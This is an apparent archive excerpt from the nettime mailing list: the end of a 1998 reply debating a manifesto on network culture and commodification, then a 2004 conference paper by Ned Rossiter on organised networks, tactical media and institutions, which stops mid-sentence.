is happening in this regard--between states and also in the \n> public arena.\n> \n> The rewriting of history all the time is fundamental to human history. The\n> strange thing is that now we have all these data stored. Will they make a\n> difference? To keep history alive it has to be rewritten all the time. The\n> change is that we have this huge outside data storage, fact-filing system.\n> How can they inspire the stories we tell children?\n> \n> \n> >After the gold-rush, the We is being questioned, in danger of\n> >disintegrating into a thousand lonely hearts, potentially becoming victims\n> >of the commodification strategies of the Big players. We are not one, and\n> >there has never been unity, specially not these days. The We form in the\n> >age of the Net is one of the few possibilities left to address groups,\n> >sub-networks and formulate common strategies, (if indeed people are\n> >interested in collaboration and exchange...). Heterogeneous policies are\n> >always in danger of falling apart, much more than parties, trade-unions\n> >and other institutions. One of the tricks to avoid people organising\n> >themselves is to reduce their argument to their Private Opinion which is\n> >seen as a contribution to the general (democratic?) discourse. In times of\n> >consolidation, dispersion and decay, the We is under debate, whilst at the\n> >same time more used than ever. It is the time of strategies. At the moment\n> >of the short highs there is only the unspoken, ecstatic We feeling. Later\n> >on, we do not want others to speak for others. This is anyway a\n> >more general tension, a feeling of discontent, between explicit ways of\n> >hyper individuality and loneliness on the one side, and the closed,\n> >sometimes claustrophic atmosphere inside groups, collectives, companies\n> >and movements on the other side. This should be the starting point for\n> >every contemporary debate on new ways of organizing.\n> \n> Most organization happens (if not all) because people feel a necessity to\n> do so. Most organization happens without the organization itself as a\n> notion, but because people want to get something done (households, streets,\n> villages). In the Big Society--with so many people here--schools, parties\n> and movements require people to be able to transcend their issues of\n> survival and believe systems to the notion of being part of an\n> organization. Compromise (or entropy) and strategy (insight in dynamics) is\n> part of any system. In the Big Society strategy and organization has become\n> a goal in itself; so the radicals have made a goal in itself of not being \n> part of that. I would argue that we should leave these notions behind and \n> become Dummies who organize a household. Perception, compromise, mildness, \n> realization where your love is, is crucial. Espacially now in the Big \n> Society since many people are open to creating \"sense\". Courage is needed \n> for \"coming out\".\n> \n> In other words get out of this THEM versus WE feeling, we are them and they\n> are us--and no guilt.\n> \n> \n> >Commodify your dissent. Certainly. And you will be commodified too. This\n> >fear is even more prominent and destructive these days compared to the\n> >unavoidable mediation we have to deal with, (and practice). For some,\n> >there is the pleasure of getting to know the rules of the game,\n> >understanding the tricks of Doing Business, studying the metaphysics of\n> >making money and its ritual, sacral aspects, fooling around with The\n> >Suits. But for most, the workers and not executives, commodification means\n> >regulation of work, creativity and (soft) subversions. At the first\n> >glance, commodification feels like justice, a liberation, a chance to\n> >finally get back some of the money for all the efforts that have been\n> >invested in the video, music, text or software one has been working on for\n> >such a long time. But in most cases this only remains a promise. The\n> >famous Sell-Outs seldom pay off, compared to the real money others are\n> >making with ordinary jobs. This cheapness, combined with strong, personal\n> >feelings of discontent, even guilt is the main reason behind the current\n> >wave of paranoia about commodification. It is the fear of betrayal for no\n> >reason, being left alone with empty hands, having to work with strangers\n> >that have no clue at all. Yes, one can become infected by corporate germs,\n> >but this is easy to cure. One good book, documentary or travel will do. We\n> >all have to be aware of neo-liberal rhetoric, but ideology is not the\n> >issue here. From the political, strategic perspective, the fear we are\n> >speaking of here is one of the main obstacles for people to organise\n> >themselves and engage with each other in serious way beyond occasional\n> >collaborations. Commitment and dedication these days intertwine with\n> >business, and this is deadly.\n> \n> When I know a song and I teach it to you, do I have half a song after that?\n> Or does my song sound less beautiful? Commodification can also mean that more\n> people, or other people, have access. The fear of betrayal, of empty hands\n> is true, but t always has been. I think you confuse general behavior\n> with the need to be alert. I agree that sharing knowledge and means is \n> harder at the moment, in this particular period when we live, but the\n> conclusion I would draw is that we need to formulate better the reasons why \n> we want to share, what is at stake. And even demand business models in which\n> the sharing is reflected. Commodification is not the problem, blind money\n> drive is. Exploitation is. But money as an exchange medium in itself is not.\n> Doing good business generates possibilities, and to do good business does\n> not always have to mean one gets into exploitation. Most people actually\n> did not. The intertwining of business and dedication and commitment\n> acquires our attention but is not deadly by nature, it is as much a force\n> for conviviality.\n> \n> \n> >Conciousness Regained.  Radical media pragmatism demands that the actors\n> >remain Cool. Who can still proclaim to be Multi-media after the monstrous\n> >misuse of this term? Yes. It should still be possible to ignore all market\n> >forces, cheap trends and keep on playing. There is a state of\n> >hyper-awareness, to transform, disappear, give up terrains that have been\n> >occupied, and continue at the same time. What now counts is integrity. It\n> >is getting easy these days to become resigned. There are a thousand\n> >reasons to quit, or to continue on the same grocery level. The world,\n> >structured by pre-cooked events, ready to be microwaved and consumed, can\n> >be rejected.  Downright reality is unbearable these days. \"No spiritual\n> >surrender\", an Amsterdam graffiti says. Colourless digital existence can\n> >be softened by self-made utopias, hallucinatory experiences, with or\n> >without recreational drugs and technologies. Regular switching to other\n> >channels which are outside the cyber realm is an option. There are\n> >countless universes.  Negroponte's existential reductionism (\"In being\n> >digital I am me.\") is just one of them. \"You are only real with your\n> >make-up on.\" (Neil Young)\n> >\n> >Here Comes the New Desire. Unknown, forgotten forms of negation, refusal,\n> >anger and pleasure are there and will be open (even towards E.T's), whilst\n> >still encrypted against the (mentality) police forces and fashion hunters.\n> >There are plenty of sadistic traps for the trend researchers and their\n> >clientele: Alternative radio, Independent labels, French theory (from\n> >twenty years ago), interactive games, on-line events, techno.net This is\n> >so cruel: see them buying, the poor bastards, desperate to get an\n> >identity, any, which makes them feel alive, for a moment or two.\n> >Cybercynical Knowledge 98. So their search engines have to be distrusted,\n> >ignored, misled. The people-to-people networks will lead one to the right\n> >source, not the databases of the corporations/states. Computers generate\n> >useless data, not contexualized information. This should be knowledge4all.\n> >\n> >The postmodern late-leftist discourse of the '68 generation has now closed\n> >all its possible options. There is no way out for them, locked up, as they\n> >are, in their down-sized, optimised, professional institutions. So let it\n> >be. The same can be said of the more recent 'new social movements', with\n> >exception of sudden outbursts of un-controlled (and therefore not\n> >organized) social-ethnic unrest. Let us not get distracted by ideological\n> >pseudo-events such as the Culture Wars or paranoid waves of xenophobia.\n> >Some fights are shadow boxing. Others are real. Now it is time for other\n> >options, in search for the genuine New that does not fit into known\n> >patterns of eternal return, being taken back into the System. Virtual\n> >Volutarism means being able to overcome moods of melancholy, perfectly\n> >aware of all possible limits and opportunities, looking for the\n> >impossible, on the side, out of reach of both futurists and nostalgics.\n> >Being able to present alternative realities, chocking the Johnsons, way\n> >out of reach of the Appropriation Machines. The market authorities will\n> >arrive too late. Yes, this is a dream, but we do cannot survive in a\n> >(digital) environment without options. In order to get at the point, we\n> >should reach a level of collective 'self conciousness' to overcome the\n> >system of fear and distrust which is now spreading. No attempt to\n> >reconstruct what worked once. No glorification of the inevitable. In order\n> >not to throw away everything which has been built up we should invent\n> >concepts on top of it and not narrow all our options into making the world\n> >institutionally legible. The \"Next Age\", the name of a department store in\n> >Pudong/Shanghai, is hybrid: half-clean, somehow dirty, never entirely\n> >digitised, stuck between real growth and an even more real crisis.\n> >Obsessed with progress, in full despair. But there are other options, and\n> >we can realise them. \"Get Organised\" (n5m3)\n> \n> I like the sound of the last three lines, it sounds like eighties\n> rhethoric, a rhetoric I liked very well too at the time. It is not a text I\n> can live out with old people and children around me, it sounds very\n> self-indulgent or it sounds like a SF text in the fifties.\n> \n> I hear no curiosity, no perception, no inner cues for integrity, or\n> inspiration to be flexible, no openness to unexpected allies or ideas.\n> It speaks of reaction, not innovation (though these can be switched...).\n> \n> It expresses the pain of a changing world, back to the future.\n> \n> I know the pain, and pain is an important signal but not always a good \n> advisor.\n> \n> In times like this where values are reformulated, reconfirmed or formulated\n> for the first time I find it very important to be curious to other\n> realities, to take a lot of effort to understand languages that at first\n> seem very different or even unattractive.\n> \n> The world is changing; and like the religious states, sometimes there are \n> periods that were open and periods that were closed. Deviant opinions are \n> important in all times, a great lesson from the Jewish tradition. Living in \n> subcultures means to open up more then often.\n> \n> Original moments, or the creation of new sounds and ideas, always involves\n> more then one cultural inspiration. Monocultures generate dogmas.\n> \n> For Public Netbase in Vienna, we are very important as a far friend; they\n> need to know their nextdoor neighboor as well. Far friends can have great\n> input and be of inspiration (solidarity), and even apply pressure when \n> needed (B92); but change happens with the people present there and then \n> (South Africa). Netculture can facilitate all these lines locally and\n> internationally.\n> \n> That is why openness to cultures and discourses that are not immediately\n> familiar is crucial.\n> \n> Especially in this time, with the millennium coming up, and tramblings \n> starting like the San Francisco Bridge (be it because of a bug, a euro, a\n> money crises, a believe clash, global culture and cultural diversity beyond\n> imagination or just the number itself), to be aware of what is of value is\n> crucial to me. Value in a broad sense, a world for the future children to\n> come.\n> \n> In the Waag we are very blessed with all the fun we have in living our\n> daily lives, the power and the force that comes from that we should use to\n> dare formulate and create other and new realities. To do that in a\n> sustainable way, and in such a way that people we do not know yet will be\n> able to participate.\n---\n#  distributed via nettime-l : no commercial use without permission\n#  <nettime> is a closed moderated mailinglist for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: majordomo {AT} desk.nl and \"info nettime-l\" in the msg body\n#  URL: http://www.desk.nl/~nettime/  contact: nettime-owner {AT} desk.nl\n\n",
                "date": "Mon, 10 Aug 1998 15:18:22 -0400",
                "to": "nettime-l {AT} Desk.nl",
                "message-id": "199808102020.VAA11292 {AT} basis.Desk.nl",
                "url": "https://nettime.org/Lists-Archives/nettime-l-9808/msg00023.html",
                "list": "nettime_l",
                "author_name": "t byfield",
                "subject": "<nettime> IEDEREEN: Re: Network Fears and Desires"
            },
            {
                "content-type": "text/plai",
                "from": "Ned Rossiter <n.rossiter {AT} ulster.ac.uk>",
                "id": "00034",
                "content": "\n\nThe Life of Mobile Data: Technology, Mobility and Data Subjectivity\nApril 15-16, 2004\nUniversity of Surrey, England\nhttp://risome.soc.surrey.ac.uk/conference.htm\n\n\n'Organised Networks Institutionalise to give Mobile Information a \nStrategic Potential'\n\nNed Rossiter, Centre for Media Research, University of Ulster\n<N.Rossiter {AT} ulster.ac.uk>\n\n\nAbstract\n\nThis paper is interested in how networks using ICTs as their primary \nmode of organisation can be considered as new institutional forms. \nThe paper suggests that organised networks are emergent \nsocio-technical forms that arise from the limits of both tactical \nmedia and more traditional institutional structures and architectonic \nforms.  Organised networks are peculiar for the ways in which they \naddress problems situated within the media form itself.  The \norganised network is thus one whose socio-technical relations are \nimmanent to, rather than supplements of, communications media.  The \npaper argues that the problematics of scale and sustainability are \nthe two key challenges faced by various forms of networks.  The \norganised network is distinct for the ways in which it has managed to \naddress such problematics in order to imbue informational relations \nwith a strategic potential.\n\n\nIntroduction\n\nThe question motivating this paper is this: what is the relationship \nbetween institutions, networks and the mobility of information?  In \nrecent months I've been looking at what various research centres in \nthe UK are up to in the areas of media studies, communications, \nsociology and cultural studies.  I've been doing this because I've \njust moved from Monash University in Melbourne to the University of \nUlster, Northern Ireland and I needed to get a sense of what's going \non.  The lasting impression I have after idling through a dozen or so \nwebsites is that everyone proudly claims to be pursuing activities \nthat consist of building networks.  Yet very few of these sites ever \nexplain how their activities constitute a network formation, and I \ncan't recall any that bother to define what a network might be.  They \nmust have done this at some stage, however, because many of these \nresearch centres and programs delight in informing the reader of how \nmuch money they've been able to attract in research funding.  I get \nthe strong impression that many of these programs are responding to \nthe latest directive set forth by the command-economy of government \nfunding agencies.  One can only presume that somewhere along the line \nthese projects made some attempt at defining their activities in \nterms of networks.\n\nI would suggest that there is little about the activities of these \nvarious centres and programs that correspond with a logic of \nnetworks.  And here, I am talking specifically about networks that \nare immanent to the Internet - the primary socio-technical \narchitecture that enables the mobility of data within a logic of \ninformationalism.  Really, what the networked university offers all \nits believers is something akin to what Bourdieu calls 'circuits of \nlegitimation' that enable the reproduction of 'state nobility' (1996: \n382-389).  I wouldn't begin to deny that I'm also caught up in this \nprocess.\n\nIt almost goes without saying that the networked university is \nconditioned by the advent of new ICTs which enable connections \nbetween a range of institutional entities and individuals that are no \nlonger bound by the contingencies of place.  Equally, the effects of \nneoliberalism in terms of shrinking budgets for higher education and \na gradual deregulation of education as a commercial service have \nplayed a strong conditioning force in decomposing the traditional \nuniversity form.  These days it is the norm rather than the exception \nto find that the movement of knowledge and information is restricted \nby authentication firewalls and IP policies underpinned by a hybrid \nparanoid-blue-sky discourse.  Within such architectures, the \nnetworked university is hardly conducive to radical information \ncritique or creative intellectual work (although there are of course \ncracks that do of course allow such practices).  Moreover, there \naren't too many projects being produced out of all this networking \nbeyond the final report that's submitted to funding authorities who \nunderstand no other language than that of counting beans.  As the \nstate continues its process of de-institutionalisation, to what \nextent is a new institutional form emerging that does provide \nconditions for critical Internet research and culture?  How is this \nform manifesting within on- and off-line practices associated with \nthe Internet?\n\n\nThe Network Problematic\n\nA spectre is haunting this age of informationality - the spectre of \nstate sovereignty.  As a modern technique of governance based on \nterritorial control, a \"monopoly of violence\" and the capacity to \nregulate the flow of goods and people, the sovereign power of the \nnation-state is not yet ready to secede from the system of \ninternationalism.  The compact of alliances between nation-states \nover matters of trade, security, foreign aid, investment, and so \nforth, substantiates the ongoing relevance of the state form in \nshaping the mobile life of people and things.  As the Internet gained \npurchase throughout the 1990s on the everyday experiences of those \nliving within advanced economies in particular, the popular \nimagination became characterised by the notion of a \"borderless\" \nworld of \"frictionless capitalism\".  Such a view is the doxa of many: \npolitical philosophers, economists, international relations scholars, \npoliticians, CEOs, activists, cyber-libertarians, advertising \nagencies, political spin-doctors and ecologists all have their \nvariation on the theme of a postnational, global world-system \ninter-linked by informational flows.\n\nJust as the nation-state appears obsolete for many, so too the term \n\"network\" has become perhaps the most pervasive metaphor to describe \na range of phenomena, desires and practices in contemporary \ninformation societies.  The refrain one hears on networks in recent \nyears goes something like this: fluidity, emphemerality, transitory, \ninnovative, flows, non-linear, decentralised, value adding, creative, \nflexible, open, risk-taking, reflexive, informal, individualised, \nintense, transformative, and so on and so forth.  Many of these words \nare used interchangeably as metaphors, concepts and descriptions. \nIncreasingly, there is a desperation evident in research on new ICTs \nthat manifests in the form of empirical research.  Paradoxically, \nmuch of this research consists of methods and epistemological \nframeworks that render the mobility of information in terms of stasis \n(see Rossiter, 2003a, 2003b).\n\nGovernments have found that the network refrain appeals to their \nneoliberal sensibilities, which search for new rhetorics to \nsubstitute the elimination of state infrastructures with the logic of \nindividualised self-formation within Third Way style networks of \n\"social capital\" (Latham, 2001: 62-100; Giddens, 1998).[1]  Research \ncommittees at university and federal levels see networks as offering \nthe latest promise of an economic utopia in which research practice \nsynchronically models the dynamic movement of finance capital, yet so \noften the outcomes of research ventures are based upon the \nreproduction of pre-existing research clusters and the maintenance of \ntheir hegemony for institutions and individuals with ambitions of \nlegitimacy within the prevailing doxas (Cooper, 2002; Marginson and \nConsidine, 2000).  Telcos and cable TV \"providers\" revel in their \ncapacity to flaunt a communications system that is not so much a \nnetwork but a heterogenous mass of audiences-consumers-users \nconnected by the content and services of private media oligopolies \n(Flew, 2002: 17-21; van Dijk, 1999: 62-70; Schiller, 1999: 37-88). \nActivists pursue techniques of simultaneous disaggregation and \nconsolidation via online organisation in their efforts to mobilise \nopposition and actions in the form of mutable affinities against the \ncorporatisation of everyday life (Lovink, 2003: 194-223; Lovink and \nSchneider, 2004; Meikle, 2002).  The US military-entertainment \ncomplex enlists strategies of organised distribution of troops and \nweaponry on battlefields defined by unpredictability and chaos, while \nmaintaining the spectacle of control across the vectors of news media \n(Der Derian, 2001; De Landa, 1991; Wark, 1994: 1-46).  The standing \nreserve of human misery sweeps up the remains of daily horror.\n\nTheorists and artists of new media are not immune to these prevailing \ndiscourses, and reproduce similar network homologies in their \nvalorisation of open, decentralised, distributed, egalitarian and \nemergent socio-technical forms.  In so doing, the discursive and \nsocio-technical form of networks is attributed an ontological status. \nThe so-called openness, fluidity and contingency of networks is \nrendered in essentialist terms that function to elide the \ncomplexities and contradictions that comprise the uneven \nspatio-temporal dimensions and material practices of networks. \nSimilarly, the force of the \"constitutive outside\" is frequently \ndismissed by media and cultural theorists in favour of delirious \ndiscourses of openness and horizontality.  \"Immanence\" has been a key \nmetaphor to describe the logic of informationalisation (see Rossiter, \n2004).  Such a word can also be used to describe networks.  To put it \nin a nutshell, the technics of networks can be described as thus: if \nyou can sketch a diagram of relations in which connections are \n'external to their terms' (Deleuze), then you get a picture of a \nnetwork model.  Whatever the peculiarities the network refrain may \ntake, there's a predominant tendency to overlook the ways in which \nnetworks are produced by regimes of power, economies of desire and \nthe restless rhythms of global capital.\n\nHow, I wonder, might the antagonisms peculiar to the varied and more \noften than not incommensurate political situations of \ninformationality be formulated in terms of a political theory of \nnetworks?  A processual model of media theory inquires into the \nmovement between the conditions of possibility and that which has \nemerged within the grid of signs, codes and meanings - or what \nDeleuze understands as the immanent relationship between the plane of \nconsistency and the plane of organisation.  How might the politics of \nnetworks as they operate within informationalised institutional \nsettings be understood in terms of a processual democracy?\n\nConditions of possibility are different in kind from that which comes \nto be conditioned.  There is no resemblance or homology between the \ntwo.  External forces are not grids whose stabilising capacity \nassures the temporary intelligibility of a problematic as it \ncoalesces within a specific situation.  Yet despite these \ndissonances, networks are defined by - perhaps more than anything - \ntheir organisation of relations between actors, information, \npractices, interests and socio-technical systems.  The relations \nbetween these terms may manifest at an entirely local level, or they \nmay traverse a range of scales, from the local to the national to the \nregional to the global.  Whatever the scale may be, these fields of \nassociation are the scene of politics and, once they are located \nwithin institutional settings, are the basis of democracy in all its \nvariations.  This isn't to say that in and of themselves these \ncomponents of networks somehow automatically result in democracy. \nBut it is to suggest that the relationship between institutions and \nthe sociopolitical habitus of the state continues to be a primary \ninfluence in conditioning the possibility of democratic polities.\n\nThe persistence of state sovereignty within the immanent logic of \ninformationality presents an invitation to transdisciplinary \ntheorists to invent new techniques of deduction, appraisal, and \ncritique.  Indeed, the task of invention is an inevitable one for \ncreative critical theorists inasmuch as they, along with other \nactors, subsist reflexively within the logic of informationalism. \nThe relationship is a reflexive one because the theorist encounters \nproblems that are presented by the tensions within the triad of \nnetworks, institutions, democracy.  Problems emerge in the form of \nfeedback or noise peculiar to the socio-technical system.  Critical \ntheorists are not, of course, alone in this engagement; it is one \nthey share with many whose labour-power is subject to the \nconstitutive force of networks-institutions-democracy.\n\nMy primary interest in bringing the terms \nnetworks-institutions-democracy together is to develop a conceptual \nassemblage with which to think the emergence of organised networks as \nnew institutions of possibility.  From a theoretical and practical \npoint of view how might organised networks be defined as new \ninstitutional forms of informationalism?  Given that institutions \nthroughout history function to organise social relations, what \ndistinguishes the organised network as an institution from its modern \ncounterparts?  Obviously there are differences along lines of \nhorizontal vs. vertical, distributed vs. contained, decentralised vs. \ncentralised, bureaucratic reason vs. database processing, etc.  But \nwhat else is there?\n\n\nNetworks and Translation\n\nAll communication is a process of translation. Networks are uneven, \nheterogeneous passages and combinations of communication in and \nthrough which translation is intrinsic to the connectivity of \ninformation as it encounters technical, social, political, economic \nand cultural fields of articulation, negotiation and transference. \nTranslation, then, is about making connections between seemingly \nincommensurate things and objects.  Translation conditions the \npossibility of communication, transversality, transduction, intensity \nand individuation between different systems (Mackenzie, 2002; \nMurphie, 2004).  From the connection emerges a new logic, a new \nsensibility, and new capacities.  At a very basic level, the logic of \nnetworks is the process of connectivity.\n\nNetworks have the capacity of transduction, which Adrian Mackenzie, \nvia Gilbert Simondon, describes as a process of ontogenesis 'in which \na metastability emerges' within biological and socio-technical \nsystems (2002: 16-19).  Or as Andrew Murphie puts it, 'transduction \n*translates intensities* so that they can be brought into \nindividuating systems' (2004).  The form of organised networks \nprovides a mutable architecture in which matter is temporarily \narrested within a continuum of differentiation and individuation. \nTransductive forces subsist within the relation between form and \nmatter.  The organised network can be considered as a new \ninstitutional actor whose political, economic and expressive \ncapacities are shaped and governed by the metastability of the \nnetwork system.  The intelligibility of such arrangements, relations \nand informational flows is thus most accurately summarised by a \ntheory of translation which incorporates processes of transduction. \nTranslation is truly a concept of praxis.  It is part and parcel of \nevery network.  Transduction conditions the possibility of organised \nnetworks as emergent institutional entities.\n\nModernity ushered in experiences of mobility, for people and things, \nin ways hitherto unexperienced.  With mobility came all sorts of \nconnections.  Railways moved people and merchandise from the country \nto the city, troops and armaments to the front (Schivelbusch, 1977). \nTelegraphy transmitted code from the metropole to the antipodes and \nback again (Wark, 1997).  The penny novel accompanied workers on \ntheir journey to the office, the evening newspaper or racing guide on \ntheir trip back to the suburbs.  People, ideas and things came to \noccupy a shared space and time of motion.  In so doing, the \nexperience of movement is at once made possible and defined by new \ncombinations of elements.  This is translation at work.\n\nWith the onset of the Enlightenment, industrial capitalism and \nmodernity, new disciplines emerged in the hard and human sciences. \nThe discipline of anthropology set itself the task of cataloguing \nhuman habits and attributes within a language system that translated \nin various ways into policy initiatives, geographic survey reports, \nacademic monographs, economic prospectives, architectural forms, \nmuseological displays, and cultural exchanges.  This too is \ntranslation at work.  Elements previously without relation, are \ncombined in such a manner that something new is invented (see Brown, \n2002: 6).\n\nWhat I have discussed elsewhere as a processual media theory \n(Rossiter, 2003a) is derived from research in cybernetics, biology \nand systems theory that is interested in information as it relates to \nthe problem of calculation, control and determination in order to \nenhance efficiency.  The primary question for first-order cybernetics \nwas how to impose stability and order over the entropic tendencies of \ninformation, as witnessed, for example within biological systems and \ntheir transmission of DNA code or radio signals and their \ninterference by \"noise\".  The preoccupation with efficiency in \nfirst-order cybernetics denies the relational character of \ncommunication.  Second-order cybernetics saw the necessity of not \nbanishing noise from the system, but establishing a balance between \norder and disorder: noise or feedback was \"rehabilitated\" as a \n\"virtue\" of communication within a system (Mattelart and Matterlart, \n1992: 45).\n\nWithin anthropology, for example, the observer impacts upon that \nwhich is observed and changes what might otherwise have transpired in \nthe course of the event, had the observer not been a part of the \nsystem.  Second-order cybernetics and systems theory thus adopts a \nreflexive understanding of the relationship between observer and \nobserved.  Feedback - what Bateson termed the 'difference that makes \na difference' - is acknowledged as fundamental to the functioning of \nthe system.  Moreover, communication is more properly understood as \nnot a unilinear channel of transmission, but rather a non-linear \nsystem of relations.  Corresponding with this conceptual development \nis a shift from an instrumental view of communication to an \nunderstanding of communication as a social system.\n\nWhen information is located within a capitalist economic system and \nits practices of production, circulation and exchange, one can speak \nof the logic of informationalism.  The conceptual developments within \ncybernetics and systems theory correspond with shifts in the logic of \ninformationationalism.  The logic of informationalism is \ncharacterised by various sociologists and political economists as \nheralding a shift from an industrial age of manufacturing, manual \nlabour, Fordism, surveillance and internationalisation to an \ninformational age of services, knowledge workers post-Fordism, \ncontrol and globalisation.  Christopher May writes that a central \nassumption to this change is a belief that 'New ICTs will transform \nthe relations of production of the economies in which they appear, \npromoting fluid networks rather than ossified hierarchies' (2002: \n51).  My argument is that in order for networks to organise mobile \ninformation, a degree of hierarchisation, if not centralisation, is \nrequired.  The point is that such organisation occurs within the \nmedia of communication.  Herein lies the difference between the \norganised network and the networked organisation - a point Lovink \nreiterates in the newspaper for the Free Cooperation conference \nthat's about to start (http://freecooperation.org).  Let's not forget \nthat for all the anti-state rhetoric of anarachists, they, like many \n\"radical\" outfits, are renowned for being organised in highly \nhierarchical ways - typically around the cult of the alpha-male.\n\n\nOrganised Networks as New Institutional Forms\n\nThe challenge for a politically active networked culture is to make \nstrategic use of new communications media in order to create new \ninstitutions of possibility.  Such socio-technical formations will \ntake on the characteristics of organised networks - distributive, \nnon-linear, situated, project-based - in order to create \nself-sustaining media-ecologies that are simply not on the map of \nestablished political and cultural institutions.  As Gary Genesko \nwrites, 'the real task is to find the institutional means to \nincarnate new modes of subjectification while simultaneously avoiding \nthe slide into bureaucratic sclerosis' (2003: 33).  Such a view also \naugurs well for the life of networks as they subsist within the \npolitical logic of informationality that is constituted by the force \nof the outside (Rossiter, 2004).\n\nThe organised network that co-ordinates relations through the \nsocio-technical form of the networked institution imbues information \nwith a strategic potential.  In this respect, the organised network \ncan be distiguished from what David Garcia and Geert Lovink (1997), \nJosephine Berry (2000), Joanne Richardson (2002), McKenzie Wark \n(2002), Konrad Becker (2002), Lovink and Schneider (2002), and others \non nettime have called \"tactical media\".  Characterised by temporary \npolitical interventions, tactical media activism builds on the legacy \nof counter-cultures, protest movements, the Situationists, \nindependent media activities and hacker culture.[2]  Lovink and \nSchneider (2002) provide the following short history of tactical \nmedia:\n\n'The term \"tactical media\" arose in the aftermath of the fall of the \nBerlin Wall as a renaissance of media activism, blending old school \npolitical work and artists' engagement with new technologies.  The \nearly nineties saw a growing awareness of gender issues, exponential \ngrowth of media industries and the increasing availability of cheap \ndo-it-yourself equipment creating a new sense of self-awareness \namongst activists, programmers, theorists, curators and artists. \nMedia were no longer seen as merely tools for the Struggle, but \nexperienced as virtual environments whose parameters were permanently \n\"under construction\".  This was the golden age of tactical media, \nopen to issues of aesthetics and experimentation with alternative \nforms of story telling.  However, these liberating techno practices \ndid not immediately translate into visible social movements.  Rather, \nthey symbolized the celebration of media freedom, in itself a great \npolitical goal.  The media used - from video, CD-ROM, cassettes, \nzines and flyers to music styles such as rap and techno - varied \nwidely, as did the content.  A commonly shared feeling was that \npolitically motivated activities, be they art or research or advocacy \nwork, were no longer part of a politically correct ghetto and could \nintervene in \"pop culture\" without necessarily having to compromise \nwith the \"system\".  With everything up for negotiation, new \ncoalitions could be formed.  The current movements worldwide cannot \nbe understood outside of the diverse and often very personal \n[battles] for digital freedom of expression'.\n\nRTmark's web co-ordinated campaigns against global corporate \ncapitalism, the live webcasting and \"Help B92\" campaign of Belgrade \nindependent radio station B92 following its banning by Serbian \nauthorities during the Kosovo War of 1999, Adbusters' culture jamming \ncampaigns against media oligopolies, the electronic civil disturbance \nactivities and \"virtual sit-ins\" undertaken by the likes of Critical \nArt Ensemble, the Electronic Disturbance Theater and the Mexican \nZapatistas, and the Indymedia camaigns against the Woomera detention \ncentre in South Australia are just a few of the many examples of \ntactical media.[3]  Tactical media differ from alternative media, \nwhich is typically concerned about consolidating a \"better\" option \nfor existing media forms (Lovink, 2002: 258; Meikle, 2002: 119). \nAlternative media are frequently underpinned by moral and \npolitico-aesthetic discourses of \"quality culture\".  The paradox of \nalternative media, when it assumes to embody such discourses, is that \nits \"alternative\" agenda is rendered in terms of stasis and \nconservatism rather than change and transformation.  Whereas tactical \nmedia, as Graham Meikle notes, 'is about mobility and flexibility, \nabout diverse responses to changing contexts ... It's about \nhit-and-run guerilla media campaigns ... It's about working with, and \nworking out, new and changing coalitions' (119).  Tactical media, \nthen, are about rapidly organised, at times even spontaneous, \nshort-term interventions.  Certainly, such interventions resonate \nover time - some even become mythical, as has been the case with the \nZapatistas.  Diverse skills accumulate and are shared across \nnetworks; in so doing, they hold the potential for deployment as \ntechniques that address specific situations.  Nevertheless, tactical \nmedia have for the most part been unable to address the problematic \nof sustainability.\n\nA primary challenge for tactical media concerns the question of \nscale.  With their focus on creating \"temporary autonomous zones\" \n(Bey, 1991), tactical media run the risk of fading out before their \nmemes reach a global scale.  And when they do reach a level of \nglobality - as in the case of the B92 streaming media reports, and \nthe refrain of \"anti-globalisation\" protests centred around WTO \nmeetings - the question of scale becomes focussed around the \nchallenge of sustainability.  How are tactical media to create \neffects that have a purchase beyond the safe-haven of the activist \nghetto?  As Lovink writes: 'Grown out of despair rather than \nconviction, tactical media are forced to operate with the parameters \nof global capitalism, despite their radical agendas.  Tactical media \nemerge out of the margins, yet never fully make it into the \nmainstream' (2002: 257).  This is a problematic clearly recognised by \nLovink and Schneider (2002):\n\n'We face a scalability crisis.  Most movements and initiatives find \nthemselves in a trap.  The strategy of becoming \"minor\" (Guattari) is \nno longer a positive choice but the default option.  Designing a \nsuccessful cultural virus and getting millions of hits on your weblog \nwill not bring you beyond the level of a short-lived \"spectacle\". \nCulture jammers are no longer outlaws but should be seen as experts \nin guerrilla communication.  Today's movements are in danger of \ngetting stuck in self-satisfying protest mode.  With access to the \npolitical process effectively blocked, further mediation seems the \nonly available option'.\n\nVarious treatises and commentaries on tactical media note the \ndistinction Michel de Certeau (1984: 29-44) makes between tactics and \nstrategies.  Graham Meikle makes the important point that strategies, \nwith their exploitation of place, are about permanency over time, \nwhereas a tactic 'exploits time - the moments of opportunity and \npossibility made possible as cracks appear in the evolution of \nstrategic place' (2002: 121).  In one of the many essays associated \nwith the fourth Next 5 Minutes festival of tactical media \n(2002-2003), Joanne Richardson suggests that tactical media departs \ncompany with Certeau over the production of meaning: 'Maybe the most \ninteresting thing about the theory of tactical media is the extent to \nwhich it abandons rather than pays homage to de Certeau, making \ntactics not a silent production by reading signs without changing \nthem, but outlining the way in which active production can become \ntactical in contrast to strategic, mainstream media' (2002).\n\nI would argue that it's time to make a return to and reinvestment in \nstrategic concepts, practices and techniques of organisation.  Let's \nstop the obsession with tactics as the modus operandi of radical \ncritique, most particularly in the gross parodies of Certeau one \nfinds in US-style cultural studies.  Don't get me wrong - I'm not \nsuggesting that the time of tactical media is over.  Clearly, \ntactical media play a fundamental role in contributing to the \nformation of radical media cultures and new social relations.  What \nI'm interested in addressing is the \"scalability crisis\" that Lovink \nand Schneider refer to.  If one starts with the principle that \nconcepts and practices are immanent to prevailing media forms, and \nnot somehow separate from them, it follows that with the mainstream \npurchase of new media forms such as the Internet come new ways in \nwhich relations of production, distribution and consumption are \norganised.  An equivalence can be found in the shift from centralised \nFordist modes of production to de-centralised post-Fordist modes of \nflexible accumulation.  Strategies within the spatio-temporal \npeculiarities of the Internet are different from strategies as they \noperate within broadcast communications media.  The latter ultimately \nconceives the \"audience-as-consumer\" as the end point in the \nfood-chain of media production, whereas the former enable the \"user\" \nto have the capacity to sample, modify, repurpose and redirect the \nsocial life of the semiotic object.  Moreover, there are going to be \nnew ways in which institutions develop in relation to Internet based \nmedia culture.  How such institutions of organised networks actually \ndevelop in order to obtain a degree of sustainability and longevity \nthat has typically escaped the endeavours of tactical media is \nsomething that is only beginning to become visible.\n\nThe Dehli-based media centre Sarai is one exemplary model of an \nemergent institution designed along the lines of an organised \nnetwork.  Fibreculture - a network of critical Internet research and \nculture in Australasia - is another.  In their own ways, the \nconditions of possibility for the emergence of these organised \nnetworks can be understood in terms of the constitutive outside. \nBoth networks address specific problems of sociality, politics, and 